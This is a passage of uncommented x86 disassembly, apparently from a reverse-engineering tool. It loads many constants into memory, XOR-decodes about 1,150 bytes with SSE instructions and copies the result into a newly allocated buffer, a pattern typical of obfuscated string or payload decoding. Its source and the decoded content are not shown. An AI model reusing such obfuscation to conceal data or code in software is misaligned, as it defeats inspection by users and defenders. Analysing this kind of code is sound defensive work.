mov eax, 0x3393776e
mov ecx, 0x113b02ce
mov dword [esi + 0x1bc], ecx
mov dword [esi + 0x1b8], eax
mov eax, 0xc239b427
mov ecx, 0x59873e75
mov dword [esi + 0x1c4], ecx
mov dword [esi + 0x1c0], eax
mov eax, 0x1c580890
mov ecx, 0x8c8da304
mov dword [esi + 0x1cc], ecx
mov dword [esi + 0x1c8], eax
mov eax, 0x79745539
mov ecx, 0xd970246b
mov dword [esi + 0x1d4], ecx
mov dword [esi + 0x1d0], eax
mov eax, 0x4215f292
mov ecx, 0x9a72fe9a
mov dword [esi + 0x1dc], ecx
mov dword [esi + 0x1d8], eax
mov eax, 0x49add02b
mov ecx, 0x145d3331
mov dword [esi + 0x1e4], ecx
mov dword [esi + 0x1e0], eax
mov eax, 0x4eb85454
mov ecx, 0x7c8d6de0
mov dword [esi + 0x1ec], ecx
mov dword [esi + 0x1e8], eax
mov eax, 0xd4583f5d
mov ecx, 0xb8a35aa7
mov dword [esi + 0x1f4], ecx
mov dword [esi + 0x1f0], eax
mov eax, 0xfd9b2eb6
mov ecx, 0x443d5bc6
mov dword [esi + 0x1fc], ecx
mov dword [esi + 0x1f8], eax
mov eax, 0xabbfb6af
mov ecx, 0x4497acd
mov dword [esi + 0x204], ecx
mov dword [esi + 0x200], eax
mov eax, 0xc10dfdd8
mov ecx, 0x4cedac3c
mov dword [esi + 0x20c], ecx
mov dword [esi + 0x208], eax
mov eax, 0xb92df8a1
mov ecx, 0xd1639543
mov dword [esi + 0x214], ecx
mov dword [esi + 0x210], eax
mov eax, 0x461079da
mov ecx, 0xf6c605b2
mov dword [esi + 0x21c], ecx
mov dword [esi + 0x218], eax
mov eax, 0x4de62213
mov ecx, 0x86410469
mov dword [esi + 0x224], ecx
mov dword [esi + 0x220], eax
mov eax, 0xf9c6a01c
mov ecx, 0x3ced7718
mov dword [esi + 0x22c], ecx
mov dword [esi + 0x228], eax
mov eax, 0x850bcde5
mov ecx, 0x8ef54ebf
mov dword [esi + 0x234], ecx
mov dword [esi + 0x230], eax
mov eax, 0x78e08dfe
mov ecx, 0x2d4549fe
mov dword [esi + 0x23c], ecx
mov dword [esi + 0x238], eax
mov eax, 0x4a8251b7
mov ecx, 0x65cc07a5
mov dword [esi + 0x244], ecx
mov dword [esi + 0x240], eax
mov eax, 0x6c7c8520
mov ecx, 0xe334f9b4
mov dword [esi + 0x24c], ecx
mov dword [esi + 0x248], eax
mov eax, 0xa30e0949
mov ecx, 0xce1f9e1b
mov dword [esi + 0x254], ecx
mov dword [esi + 0x250], eax
mov eax, 0xb8dfcaa2
mov ecx, 0xa3071a4a
mov dword [esi + 0x25c], ecx
mov dword [esi + 0x258], eax
mov eax, 0xb028ed3b
mov ecx, 0x826146e1
mov dword [esi + 0x264], ecx
mov dword [esi + 0x260], eax
mov eax, 0xf7239de4
mov ecx, 0x14504990
mov dword [esi + 0x26c], ecx
mov dword [esi + 0x268], eax
mov eax, 0x4e9f236d
mov ecx, 0xeda4f557
mov dword [esi + 0x274], ecx
mov dword [esi + 0x270], eax
mov eax, 0x77f8fe46
mov ecx, 0x19371176
mov dword [esi + 0x27c], ecx
mov dword [esi + 0x278], eax
mov eax, 0xa411ddbf
mov ecx, 0x37d992fd
mov dword [esi + 0x284], ecx
mov dword [esi + 0x280], eax
mov eax, 0xcbfffb68
mov ecx, 0xa39502ec
mov dword [esi + 0x28c], ecx
mov dword [esi + 0x288], eax
mov eax, 0xb94b3331
mov ecx, 0x53f69df3
mov dword [esi + 0x294], ecx
mov dword [esi + 0x290], eax
mov eax, 0x23b9ea
mov ecx, 0x781bd9e2
mov dword [esi + 0x29c], ecx
mov dword [esi + 0x298], eax
mov eax, 0xc9321ca3
mov ecx, 0x6bf22f99
mov dword [esi + 0x2a4], ecx
mov dword [esi + 0x2a0], eax
mov eax, 0x4807fac
mov ecx, 0x44445e48
mov dword [esi + 0x2ac], ecx
mov dword [esi + 0x2a8], eax
mov eax, 0x609581f5
mov ecx, 0xac9a2c6f
mov dword [esi + 0x2b4], ecx
mov dword [esi + 0x2b0], eax
mov eax, 0x9d36748e
mov ecx, 0x8529d52e
mov dword [esi + 0x2bc], ecx
mov dword [esi + 0x2b8], eax
mov eax, 0x465ae547
mov ecx, 0x2fcd03d5
mov dword [esi + 0x2c4], ecx
mov dword [esi + 0x2c0], eax
mov eax, 0xe1fa5930
mov ecx, 0xc077d364
mov dword [esi + 0x2cc], ecx
mov dword [esi + 0x2c8], eax
mov eax, 0xd8ae3fd9
mov ecx, 0xd40a5ccb
mov dword [esi + 0x2d4], ecx
mov dword [esi + 0x2d0], eax
mov eax, 0xd6f612b2
mov ecx, 0xc8a79cfa
mov dword [esi + 0x2dc], ecx
mov dword [esi + 0x2d8], eax
mov eax, 0x1d00b84b
mov ecx, 0xe557b491
mov dword [esi + 0x2e4], ecx
mov dword [esi + 0x2e0], eax
mov eax, 0xb94ce074
mov ecx, 0x39f0cc40
mov dword [esi + 0x2ec], ecx
mov dword [esi + 0x2e8], eax
mov eax, 0x4fa988fd
mov ecx, 0xca9a5007
mov dword [esi + 0x2f4], ecx
mov dword [esi + 0x2f0], eax
mov eax, 0xa601fed6
mov ecx, 0xe2daaba6
mov dword [esi + 0x2fc], ecx
mov dword [esi + 0x2f8], eax
mov eax, 0x4ae10cf
mov ecx, 0x3dc451ad
mov dword [esi + 0x304], ecx
mov dword [esi + 0x300], eax
mov eax, 0x53cc42f8
mov ecx, 0x7c8a51c
mov dword [esi + 0x30c], ecx
mov dword [esi + 0x308], eax
mov eax, 0x8e691b41
mov ecx, 0x47590023
mov dword [esi + 0x314], ecx
mov dword [esi + 0x310], eax
mov eax, 0x25ba1dfa
mov ecx, 0xc8b85912
mov dword [esi + 0x31c], ecx
mov dword [esi + 0x318], eax
mov eax, 0xfd946bb3
mov ecx, 0x49350949
mov dword [esi + 0x324], ecx
mov dword [esi + 0x320], eax
mov eax, 0x300cac3c
mov ecx, 0x81419df8
mov dword [esi + 0x32c], ecx
mov dword [esi + 0x328], eax
mov eax, 0x74bb1785
mov ecx, 0x653b141f
mov dword [esi + 0x334], ecx
mov dword [esi + 0x330], eax
mov eax, 0x1c6c331e
mov ecx, 0x8d1b2c5e
mov dword [esi + 0x33c], ecx
mov dword [esi + 0x338], eax
mov eax, 0x9b1263d7
mov ecx, 0xe3511585
mov dword [esi + 0x344], ecx
mov dword [esi + 0x340], eax
mov eax, 0x366f2540
mov ecx, 0xd8d32114
mov dword [esi + 0x34c], ecx
mov dword [esi + 0x348], eax
mov eax, 0xa5105769
mov ecx, 0xc76cbefb
mov dword [esi + 0x354], ecx
mov dword [esi + 0x350], eax
mov eax, 0x1e6e60c2
mov ecx, 0x910e02aa
mov dword [esi + 0x35c], ecx
mov dword [esi + 0x358], eax
mov eax, 0x3ec1cfdb
mov ecx, 0x89981541
mov dword [esi + 0x364], ecx
mov dword [esi + 0x360], eax
mov eax, 0x82c8b984
mov ecx, 0x1c76cd70
mov dword [esi + 0x36c], ecx
mov dword [esi + 0x368], eax
mov eax, 0xf54d748d
mov ecx, 0x7ce12d37
mov dword [esi + 0x374], ecx
mov dword [esi + 0x370], eax
mov eax, 0x1fcd9866
mov ecx, 0x87b2e56
mov dword [esi + 0x37c], ecx
mov dword [esi + 0x378], eax
mov eax, 0x837b35f
mov ecx, 0x8e1351dd
mov dword [esi + 0x384], ecx
mov dword [esi + 0x380], eax
mov eax, 0x1dab4c88
mov ecx, 0xabbb86cc
mov dword [esi + 0x38c], ecx
mov dword [esi + 0x388], eax
mov eax, 0x109b0051
mov ecx, 0x1da91353
mov dword [esi + 0x394], ecx
mov dword [esi + 0x390], eax
mov eax, 0xb8cc9e0a
mov ecx, 0x2cebfb42
mov dword [esi + 0x39c], ecx
mov dword [esi + 0x398], eax
mov eax, 0x543566c3
mov ecx, 0xfb7be679
mov dword [esi + 0x3a4], ecx
mov dword [esi + 0x3a0], eax
mov eax, 0x9e1e07cc
mov ecx, 0xb2285928
mov dword [esi + 0x3ac], ecx
mov dword [esi + 0x3a8], eax
mov eax, 0x7d327095
mov ecx, 0x2edeae4f
mov dword [esi + 0x3b4], ecx
mov dword [esi + 0x3b0], eax
mov eax, 0x3aed21ae
mov ecx, 0x636b3f8e
mov dword [esi + 0x3bc], ecx
mov dword [esi + 0x3b8], eax
mov eax, 0xc9935e67
mov ecx, 0xabb77b35
mov dword [esi + 0x3c4], ecx
mov dword [esi + 0x3c0], eax
mov eax, 0x23b1b2d0
mov ecx, 0xdebddfc4
mov dword [esi + 0x3cc], ecx
mov dword [esi + 0x3c8], eax
mov eax, 0x80cdff79
mov ecx, 0x2ba0612b
mov dword [esi + 0x3d4], ecx
mov dword [esi + 0x3d0], eax
mov eax, 0x496f9cd2
mov ecx, 0xeca33b5a
mov dword [esi + 0x3dc], ecx
mov dword [esi + 0x3d8], eax
mov eax, 0x51077a6b
mov ecx, 0x668d6ff1
mov dword [esi + 0x3e4], ecx
mov dword [esi + 0x3e0], eax
mov eax, 0x5611fe94
mov ecx, 0xcebdaaa0
mov dword [esi + 0x3ec], ecx
mov dword [esi + 0x3e8], eax
mov eax, 0xdbb1e99d
mov ecx, 0xad39767
mov dword [esi + 0x3f4], ecx
mov dword [esi + 0x3f0], eax
mov eax, 0x4f4d8f6
mov ecx, 0x966d9886
mov dword [esi + 0x3fc], ecx
mov dword [esi + 0x3f8], eax
mov eax, 0xb31960ef
mov ecx, 0x5679b78d
mov dword [esi + 0x404], ecx
mov dword [esi + 0x400], eax
mov eax, 0xc867a818
mov ecx, 0x9f1de8fc
mov dword [esi + 0x40c], ecx
mov dword [esi + 0x408], eax
mov eax, 0xc087a2e1
mov ecx, 0x2393d203
mov dword [esi + 0x414], ecx
mov dword [esi + 0x410], eax
mov eax, 0x4d6a241a
mov ecx, 0x48f64272
mov dword [esi + 0x41c], ecx
mov dword [esi + 0x418], eax
mov eax, 0x553fcc53
mov ecx, 0xd8714129
mov dword [esi + 0x424], ecx
mov dword [esi + 0x420], eax
mov eax, 0x1204a5c
mov ecx, 0x8f1db3d8
mov dword [esi + 0x42c], ecx
mov dword [esi + 0x428], eax
mov eax, 0x8c657825
mov ecx, 0xe1258b7f
mov dword [esi + 0x434], ecx
mov dword [esi + 0x430], eax
mov eax, 0x803a383e
mov ecx, 0x7f7586be
mov dword [esi + 0x43c], ecx
mov dword [esi + 0x438], eax
mov eax, 0x51dbfbf7
mov ecx, 0xb7fc4465
mov dword [esi + 0x444], ecx
mov dword [esi + 0x440], eax
mov eax, 0x73d62f60
mov ecx, 0x35653674
mov dword [esi + 0x44c], ecx
mov dword [esi + 0x448], eax
mov eax, 0xaa67b389
mov ecx, 0x204fdadb
mov dword [esi + 0x454], ecx
mov dword [esi + 0x450], eax
mov eax, 0xc03974e2
mov ecx, 0xf537570a
mov dword [esi + 0x45c], ecx
mov dword [esi + 0x458], eax
mov eax, 0xb782977b
mov ecx, 0xd49183a1
mov dword [esi + 0x464], ecx
mov dword [esi + 0x460], eax
mov eax, 0xfe7d4824
mov ecx, 0x66808650
mov dword [esi + 0x46c], ecx
mov dword [esi + 0x468], eax
mov eax, 0x55f8cdad
mov ecx, 0x3fd53217
mov dword [esi + 0x474], ecx
mov dword [esi + 0x470], eax
mov eax, 0x7f52a886
mov ecx, 0x6b674e36
mov dword [esi + 0x47c], ecx
mov dword [esi + 0x478], eax
mov eax, 0xab6b87ff
mov ecx, 0x8a09cfbd
mov dword [esi + 0x484], ecx
mov dword [esi + 0x480], eax
mov eax, 0xd359a5a8
mov ecx, 0xf5c53fac
mov dword [esi + 0x48c], ecx
mov dword [esi + 0x488], eax
mov eax, 0xc0a4dd71
mov ecx, 0xa626dab3
mov dword [esi + 0x494], ecx
mov dword [esi + 0x490], eax
mov eax, 0x77d642a
mov ecx, 0xca4c16a2
mov dword [esi + 0x49c], ecx
mov dword [esi + 0x498], eax
mov eax, 0xd08bc6e3
mov ecx, 0xbe226c59
mov dword [esi + 0x4a4], ecx
mov dword [esi + 0x4a0], eax
mov eax, 0xbda29ec
mov ecx, 0x96749b08
mov dword [esi + 0x4ac], ecx
mov dword [esi + 0x4a8], eax
mov eax, 0x67ef2c35
mov ecx, 0xfeca692f
mov dword [esi + 0x4b4], ecx
mov dword [esi + 0x4b0], eax
mov eax, 0xa4901ece
mov ecx, 0xd75a11ee
mov dword [esi + 0x4bc], ecx
mov dword [esi + 0x4b8], eax
mov eax, 0x4db48f87
mov ecx, 0x81fd4095
mov dword [esi + 0x4c4], ecx
mov dword [esi + 0x4c0], eax
mov eax, 0xe9540370
mov ecx, 0x12a81024
mov dword [esi + 0x4cc], ecx
mov dword [esi + 0x4c8], eax
mov eax, 0xe007ea19
mov ecx, 0x263a998b
mov dword [esi + 0x4d4], ecx
mov dword [esi + 0x4d0], eax
mov eax, 0xde4fbcf2
mov ecx, 0x1ad7d9ba
mov dword [esi + 0x4dc], ecx
mov dword [esi + 0x4d8], eax
mov eax, 0x245a628b
mov ecx, 0x3787f151
mov dword [esi + 0x4e4], ecx
mov dword [esi + 0x4e0], eax
mov eax, 0x8c210900
mov ecx, 0xc0a68ab4
mov dword [esi + 0x4ec], eax
mov dword [esi + 0x4e8], ecx
lea ebx, [esi + 0x70]
mov eax, ebx
xor ecx, ecx
movaps xmm0, xmmword [esi + 0x8f0]
xorps xmm0, xmmword [eax]
movaps xmmword [esi + 0x8f0], xmm0
movaps xmm0, xmmword [esi + 0x8e0]
xorps xmm0, xmmword [eax + 0x10]
movaps xmmword [esi + 0x8e0], xmm0
movaps xmm0, xmmword [esi + 0x8d0]
xorps xmm0, xmmword [eax + 0x20]
movaps xmmword [esi + 0x8d0], xmm0
movaps xmm0, xmmword [esi + 0x8c0]
xorps xmm0, xmmword [eax + 0x30]
movaps xmmword [esi + 0x8c0], xmm0
movaps xmm0, xmmword [esi + 0x8b0]
xorps xmm0, xmmword [eax + 0x40]
movaps xmmword [esi + 0x8b0], xmm0
movaps xmm0, xmmword [esi + 0x8a0]
xorps xmm0, xmmword [eax + 0x50]
movaps xmmword [esi + 0x8a0], xmm0
movaps xmm0, xmmword [esi + 0x890]
xorps xmm0, xmmword [eax + 0x60]
movaps xmmword [esi + 0x890], xmm0
movaps xmm0, xmmword [esi + 0x880]
xorps xmm0, xmmword [eax + 0x70]
movaps xmmword [esi + 0x880], xmm0
movaps xmm0, xmmword [esi + 0x870]
xorps xmm0, xmmword [eax + 0x80]
movaps xmmword [esi + 0x870], xmm0
movaps xmm0, xmmword [esi + 0x860]
xorps xmm0, xmmword [eax + 0x90]
movaps xmmword [esi + 0x860], xmm0
movaps xmm0, xmmword [esi + 0x850]
xorps xmm0, xmmword [eax + 0xa0]
movaps xmmword [esi + 0x850], xmm0
movaps xmm0, xmmword [esi + 0x840]
xorps xmm0, xmmword [eax + 0xb0]
movaps xmmword [esi + 0x840], xmm0
movaps xmm0, xmmword [esi + 0x830]
xorps xmm0, xmmword [eax + 0xc0]
movaps xmmword [esi + 0x830], xmm0
movaps xmm0, xmmword [esi + 0x820]
xorps xmm0, xmmword [eax + 0xd0]
movaps xmmword [esi + 0x820], xmm0
movaps xmm0, xmmword [esi + 0x810]
xorps xmm0, xmmword [eax + 0xe0]
movaps xmmword [esi + 0x810], xmm0
movaps xmm0, xmmword [esi + 0x800]
xorps xmm0, xmmword [eax + 0xf0]
movaps xmmword [esi + 0x800], xmm0
movaps xmm0, xmmword [esi + 0x7f0]
xorps xmm0, xmmword [eax + 0x100]
movaps xmmword [esi + 0x7f0], xmm0
movaps xmm0, xmmword [esi + 0x7e0]
xorps xmm0, xmmword [eax + 0x110]
movaps xmmword [esi + 0x7e0], xmm0
movaps xmm0, xmmword [esi + 0x7d0]
xorps xmm0, xmmword [eax + 0x120]
movaps xmmword [esi + 0x7d0], xmm0
movaps xmm0, xmmword [esi + 0x7c0]
xorps xmm0, xmmword [eax + 0x130]
movaps xmmword [esi + 0x7c0], xmm0
movaps xmm0, xmmword [esi + 0x7b0]
xorps xmm0, xmmword [eax + 0x140]
movaps xmmword [esi + 0x7b0], xmm0
movaps xmm0, xmmword [esi + 0x7a0]
xorps xmm0, xmmword [eax + 0x150]
movaps xmmword [esi + 0x7a0], xmm0
movaps xmm0, xmmword [esi + 0x790]
xorps xmm0, xmmword [eax + 0x160]
movaps xmmword [esi + 0x790], xmm0
movaps xmm0, xmmword [esi + 0x780]
xorps xmm0, xmmword [eax + 0x170]
movaps xmmword [esi + 0x780], xmm0
movaps xmm0, xmmword [esi + 0x770]
xorps xmm0, xmmword [eax + 0x180]
movaps xmmword [esi + 0x770], xmm0
movaps xmm0, xmmword [esi + 0x760]
xorps xmm0, xmmword [eax + 0x190]
movaps xmmword [esi + 0x760], xmm0
movaps xmm0, xmmword [esi + 0x750]
xorps xmm0, xmmword [eax + 0x1a0]
movaps xmmword [esi + 0x750], xmm0
movaps xmm0, xmmword [esi + 0x740]
xorps xmm0, xmmword [eax + 0x1b0]
movaps xmmword [esi + 0x740], xmm0
movaps xmm0, xmmword [esi + 0x730]
xorps xmm0, xmmword [eax + 0x1c0]
movaps xmmword [esi + 0x730], xmm0
movaps xmm0, xmmword [esi + 0x720]
xorps xmm0, xmmword [eax + 0x1d0]
movaps xmmword [esi + 0x720], xmm0
movaps xmm0, xmmword [esi + 0x710]
xorps xmm0, xmmword [eax + 0x1e0]
movaps xmmword [esi + 0x710], xmm0
movaps xmm0, xmmword [esi + 0x700]
xorps xmm0, xmmword [eax + 0x1f0]
movaps xmmword [esi + 0x700], xmm0
movaps xmm0, xmmword [esi + 0x6f0]
xorps xmm0, xmmword [eax + 0x200]
movaps xmmword [esi + 0x6f0], xmm0
movaps xmm0, xmmword [esi + 0x6e0]
xorps xmm0, xmmword [eax + 0x210]
movaps xmmword [esi + 0x6e0], xmm0
movaps xmm0, xmmword [esi + 0x6d0]
xorps xmm0, xmmword [eax + 0x220]
movaps xmmword [esi + 0x6d0], xmm0
movaps xmm0, xmmword [esi + 0x6c0]
xorps xmm0, xmmword [eax + 0x230]
movaps xmmword [esi + 0x6c0], xmm0
movaps xmm0, xmmword [esi + 0x6b0]
xorps xmm0, xmmword [eax + 0x240]
movaps xmmword [esi + 0x6b0], xmm0
movaps xmm0, xmmword [esi + 0x6a0]
xorps xmm0, xmmword [eax + 0x250]
movaps xmmword [esi + 0x6a0], xmm0
movaps xmm0, xmmword [esi + 0x690]
xorps xmm0, xmmword [eax + 0x260]
movaps xmmword [esi + 0x690], xmm0
movaps xmm0, xmmword [esi + 0x680]
xorps xmm0, xmmword [eax + 0x270]
movaps xmmword [esi + 0x680], xmm0
movaps xmm0, xmmword [esi + 0x670]
xorps xmm0, xmmword [eax + 0x280]
movaps xmmword [esi + 0x670], xmm0
movaps xmm0, xmmword [esi + 0x660]
xorps xmm0, xmmword [eax + 0x290]
movaps xmmword [esi + 0x660], xmm0
movaps xmm0, xmmword [esi + 0x650]
xorps xmm0, xmmword [eax + 0x2a0]
movaps xmmword [esi + 0x650], xmm0
movaps xmm0, xmmword [esi + 0x640]
xorps xmm0, xmmword [eax + 0x2b0]
movaps xmmword [esi + 0x640], xmm0
movaps xmm0, xmmword [esi + 0x630]
xorps xmm0, xmmword [eax + 0x2c0]
movaps xmmword [esi + 0x630], xmm0
movaps xmm0, xmmword [esi + 0x620]
xorps xmm0, xmmword [eax + 0x2d0]
movaps xmmword [esi + 0x620], xmm0
movaps xmm0, xmmword [esi + 0x610]
xorps xmm0, xmmword [eax + 0x2e0]
movaps xmmword [esi + 0x610], xmm0
movaps xmm0, xmmword [esi + 0x600]
xorps xmm0, xmmword [eax + 0x2f0]
movaps xmmword [esi + 0x600], xmm0
movaps xmm0, xmmword [esi + 0x5f0]
xorps xmm0, xmmword [eax + 0x300]
movaps xmmword [esi + 0x5f0], xmm0
movaps xmm0, xmmword [esi + 0x5e0]
xorps xmm0, xmmword [eax + 0x310]
movaps xmmword [esi + 0x5e0], xmm0
movaps xmm0, xmmword [esi + 0x5d0]
xorps xmm0, xmmword [eax + 0x320]
movaps xmmword [esi + 0x5d0], xmm0
movaps xmm0, xmmword [esi + 0x5c0]
xorps xmm0, xmmword [eax + 0x330]
movaps xmmword [esi + 0x5c0], xmm0
movaps xmm0, xmmword [esi + 0x5b0]
xorps xmm0, xmmword [eax + 0x340]
movaps xmmword [esi + 0x5b0], xmm0
movaps xmm0, xmmword [esi + 0x5a0]
xorps xmm0, xmmword [eax + 0x350]
movaps xmmword [esi + 0x5a0], xmm0
movaps xmm0, xmmword [esi + 0x590]
xorps xmm0, xmmword [eax + 0x360]
movaps xmmword [esi + 0x590], xmm0
movaps xmm0, xmmword [esi + 0x580]
xorps xmm0, xmmword [eax + 0x370]
movaps xmmword [esi + 0x580], xmm0
movaps xmm0, xmmword [esi + 0x570]
xorps xmm0, xmmword [eax + 0x380]
movaps xmmword [esi + 0x570], xmm0
movaps xmm0, xmmword [esi + 0x560]
xorps xmm0, xmmword [eax + 0x390]
movaps xmmword [esi + 0x560], xmm0
movaps xmm0, xmmword [esi + 0x550]
xorps xmm0, xmmword [eax + 0x3a0]
movaps xmmword [esi + 0x550], xmm0
movaps xmm0, xmmword [esi + 0x540]
xorps xmm0, xmmword [eax + 0x3b0]
movaps xmmword [esi + 0x540], xmm0
movaps xmm0, xmmword [esi + 0x530]
xorps xmm0, xmmword [eax + 0x3c0]
movaps xmmword [esi + 0x530], xmm0
movaps xmm0, xmmword [esi + 0x520]
xorps xmm0, xmmword [eax + 0x3d0]
movaps xmmword [esi + 0x520], xmm0
movaps xmm0, xmmword [esi + 0x510]
xorps xmm0, xmmword [eax + 0x3e0]
movaps xmmword [esi + 0x510], xmm0
movaps xmm0, xmmword [esi + 0x500]
xorps xmm0, xmmword [eax + 0x3f0]
movaps xmmword [esi + 0x500], xmm0
movaps xmm0, xmmword [esi + 0x4f0]
xorps xmm0, xmmword [eax + 0x400]
movaps xmmword [esi + 0x4f0], xmm0
pxor xmm4, xmmword [eax + 0x410]
movdqa xmmword [esi + 0x950], xmm4
pxor xmm5, xmmword [eax + 0x420]
movdqa xmmword [esi + 0x940], xmm5
pxor xmm6, xmmword [eax + 0x430]
movdqa xmmword [esi + 0x930], xmm6
pxor xmm7, xmmword [eax + 0x440]
movdqa xmmword [esi + 0x920], xmm7
pxor xmm3, xmmword [eax + 0x450]
movdqa xmmword [esi + 0x910], xmm3
pxor xmm2, xmmword [eax + 0x460]
movdqa xmmword [esi + 0x900], xmm2
movaps xmm0, xmmword [esi + 0x10]
xorps xmm0, xmmword [eax + 0x470]
movaps xmmword [esi + 0x10], xmm0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x40], 0
xor edi, edi
push 0x480
call fcn.00403f62
add esp, 4
movaps xmm0, xmmword [esi + 0x8f0]
movups xmmword [eax], xmm0
movaps xmm0, xmmword [esi + 0x8e0]
movups xmmword [eax + 0x10], xmm0
movaps xmm0, xmmword [esi + 0x8d0]
movups xmmword [eax + 0x20], xmm0
movaps xmm0, xmmword [esi + 0x8c0]
movups xmmword [eax + 0x30], xmm0
movaps xmm0, xmmword [esi + 0x8b0]
movups xmmword [eax + 0x40], xmm0
movaps xmm0, xmmword [esi + 0x8a0]
movups xmmword [eax + 0x50], xmm0
movaps xmm0, xmmword [esi + 0x890]
movups xmmword [eax + 0x60], xmm0
movaps xmm0, xmmword [esi + 0x880]
movups xmmword [eax + 0x70], xmm0
movaps xmm0, xmmword [esi + 0x870]
movups xmmword [eax + 0x80], xmm0
movaps xmm0, xmmword [esi + 0x860]
movups xmmword [eax + 0x90], xmm0
movaps xmm0, xmmword [esi + 0x850]
movups xmmword [eax + 0xa0], xmm0
movaps xmm0, xmmword [esi + 0x840]
movups xmmword [eax + 0xb0], xmm0
movaps xmm0, xmmword [esi + 0x830]
movups xmmword [eax + 0xc0], xmm0
movaps xmm0, xmmword [esi + 0x820]
movups xmmword [eax + 0xd0], xmm0
movaps xmm0, xmmword [esi + 0x810]
movups xmmword [eax + 0xe0], xmm0
movaps xmm0, xmmword [esi + 0x800]
movups xmmword [eax + 0xf0], xmm0
movaps xmm0, xmmword [esi + 0x7f0]
movups xmmword [eax + 0x100], xmm0
movaps xmm0, xmmword [esi + 0x7e0]
movups xmmword [eax + 0x110], xmm0
movaps xmm0, xmmword [esi + 0x7d0]
movups xmmword [eax + 0x120], xmm0
movaps xmm0, xmmword [esi + 0x7c0]
movups xmmword [eax + 0x130], xmm0
movaps xmm0, xmmword [esi + 0x7b0]
movups xmmword [eax + 0x140], xmm0
movaps xmm0, xmmword [esi + 0x7a0]
movups xmmword [eax + 0x150], xmm0
movaps xmm0, xmmword [esi + 0x790]
movups xmmword [eax + 0x160], xmm0
movaps xmm0, xmmword [esi + 0x780]
movups xmmword [eax + 0x170], xmm0
movaps xmm0, xmmword [esi + 0x770]
movups xmmword [eax + 0x180], xmm0
movaps xmm0, xmmword [esi + 0x760]
movups xmmword [eax + 0x190], xmm0
movaps xmm0, xmmword [esi + 0x750]
movups xmmword [eax + 0x1a0], xmm0
movaps xmm0, xmmword [esi + 0x740]
movups xmmword [eax + 0x1b0], xmm0
movaps xmm0, xmmword [esi + 0x730]
movups xmmword [eax + 0x1c0], xmm0
movaps xmm0, xmmword [esi + 0x720]
movups xmmword [eax + 0x1d0], xmm0
movaps xmm0, xmmword [esi + 0x710]
movups xmmword [eax + 0x1e0], xmm0
movaps xmm0, xmmword [esi + 0x700]
movups xmmword [eax + 0x1f0], xmm0
movaps xmm0, xmmword [esi + 0x6f0]
movups xmmword [eax + 0x200], xmm0
movaps xmm0, xmmword [esi + 0x6e0]
movups xmmword [eax + 0x210], xmm0
movaps xmm0, xmmword [esi + 0x6d0]
movups xmmword [eax + 0x220], xmm0
movaps xmm0, xmmword [esi + 0x6c0]
movups xmmword [eax + 0x230], xmm0
movaps xmm0, xmmword [esi + 0x6b0]
movups xmmword [eax + 0x240], xmm0
movaps xmm0, xmmword [esi + 0x6a0]
movups xmmword [eax + 0x250], xmm0
movaps xmm0, xmmword [esi + 0x690]
movups xmmword [eax + 0x260], xmm0
movaps xmm0, xmmword [esi + 0x680]
movups xmmword [eax + 0x270], xmm0
movaps xmm0, xmmword [esi + 0x670]
movups xmmword [eax + 0x280], xmm0
movaps xmm0, xmmword [esi + 0x660]
movups xmmword [eax + 0x290], xmm0
movaps xmm0, xmmword [esi + 0x650]
movups xmmword [eax + 0x2a0], xmm0
movaps xmm0, xmmword [esi + 0x640]
movups xmmword [eax + 0x2b0], xmm0
movaps xmm0, xmmword [esi + 0x630]
movups xmmword [eax + 0x2c0], xmm0
movaps xmm0, xmmword [esi + 0x620]
movups xmmword [eax + 0x2d0], xmm0
movaps xmm0, xmmword [esi + 0x610]
movups xmmword [eax + 0x2e0], xmm0
movaps xmm0, xmmword [esi + 0x600]
movups xmmword [eax + 0x2f0], xmm0
movaps xmm0, xmmword [esi + 0x5f0]
movups xmmword [eax + 0x300], xmm0
movaps xmm0, xmmword [esi + 0x5e0]
movups xmmword [eax + 0x310], xmm0
movaps xmm0, xmmword [esi + 0x5d0]
movups xmmword [eax + 0x320], xmm0
movaps xmm0, xmmword [esi + 0x5c0]
movups xmmword [eax + 0x330], xmm0
movaps xmm0, xmmword [esi + 0x5b0]
movups xmmword [eax + 0x340], xmm0
movaps xmm0, xmmword [esi + 0x5a0]
movups xmmword [eax + 0x350], xmm0
movaps xmm0, xmmword [esi + 0x590]
movups xmmword [eax + 0x360], xmm0
movaps xmm0, xmmword [esi + 0x580]
movups xmmword [eax + 0x370], xmm0
movaps xmm0, xmmword [esi + 0x570]
movups xmmword [eax + 0x380], xmm0
movaps xmm0, xmmword [esi + 0x560]
movups xmmword [eax + 0x390], xmm0
movaps xmm0, xmmword [esi + 0x550]
movups xmmword [eax + 0x3a0], xmm0
movaps xmm0, xmmword [esi + 0x540]
movups xmmword [eax + 0x3b0], xmm0
movaps xmm0, xmmword [esi + 0x530]
movups xmmword [eax + 0x3c0], xmm0
movaps xmm0, xmmword [esi + 0x520]
movups xmmword [eax + 0x3d0], xmm0
movaps xmm0, xmmword [esi + 0x510]
movups xmmword [eax + 0x3e0], xmm0
movaps xmm0, xmmword [esi + 0x500]
movups xmmword [eax + 0x3f0], xmm0
movaps xmm0, xmmword [esi + 0x4f0]
movups xmmword [eax + 0x400], xmm0
movaps xmm0, xmmword [esi + 0x950]
movups xmmword [eax + 0x410], xmm0
movaps xmm0, xmmword [esi + 0x940]
movups xmmword [eax + 0x420], xmm0
movaps xmm0, xmmword [esi + 0x930]
movups xmmword [eax + 0x430], xmm0
movaps xmm0, xmmword [esi + 0x920]
movups xmmword [eax + 0x440], xmm0
movaps xmm0, xmmword [esi + 0x910]
movups xmmword [eax + 0x450], xmm0
movaps xmm0, xmmword [esi + 0x900]
movups xmmword [eax + 0x460], xmm0
mov ecx, dword [esi + 0x18]
mov dword [eax + 0x478], ecx
mov dword [esi + 0x34], eax
movsd xmm0, qword [esi + 0x10]
movsd qword [eax + 0x470], xmm0
mov byte [eax + 0x47c], 0
mov eax, 0x2b040d63
mov ecx, 0xfa17d7fb
mov dword [esi + 0x14], ecx
mov dword [esi + 0x10], eax
mov eax, 0x19c93172
mov ecx, 0xa673a0c4
mov dword [esi + 0x1c], ecx
mov dword [esi + 0x18], eax
mov eax, 0xf1dd7e13
mov ecx, 0xe5d02452
mov dword [esi + 0x24], ecx
mov dword [esi + 0x20], eax
mov eax, dword [esi + 0x64]
mov dword [esi + 0x74], eax
mov eax, dword [esi + 0x68]
mov dword [esi + 0x70], eax
mov eax, dword [esi + 0x5c]
mov dword [esi + 0x7c], eax
mov eax, dword [esi + 0x60]
mov dword [esi + 0x78], eax
mov eax, dword [esi + 0x54]
mov dword [esi + 0x84], eax
